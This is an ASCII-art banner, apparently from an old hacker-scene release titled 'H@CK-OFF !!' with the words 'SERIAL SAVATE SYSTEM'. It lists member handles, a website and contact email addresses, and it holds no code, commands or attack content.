    ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­
    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
          ,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,
        _____________________________________
        (((((((      H@CK-OFF !!     ))))))))
         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        ~  ~   ¤º°`°º   ¤º°`°º   ¤º°`°º  ~  ~
         ~  ~  | SE | - | RI | - | AL | ~  ~
        ~  ~   | SA | - | VA | - | TE |  ~  ~
         ~  ~  | SY | - | ST | - | EM | ~  ~
        ~  ~   ø,¸¸,ø   ø,¸¸,ø   ø,¸¸,ø  ~  ~
         Cakeii - Tobozo - Yopyop - Silk - Nk
           Blured -  Misto!  - hertz - silk
         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                 {    \|/
         >http://come.to/legang  8  -- * --
         >silk@silk.cut          {    /|\
         cakeii@usa.net
         nk01@n0past.com
         misto@bigfoot.com
         hertz@webmails.com
         tobozo@bigfoot.com
         sniffdoz@yahoo.com
         blured75@hotmail.com
        ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,
       /   O o          O o          O o    \
       \    O            O            O     /
        º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    
    
    
    [EOF]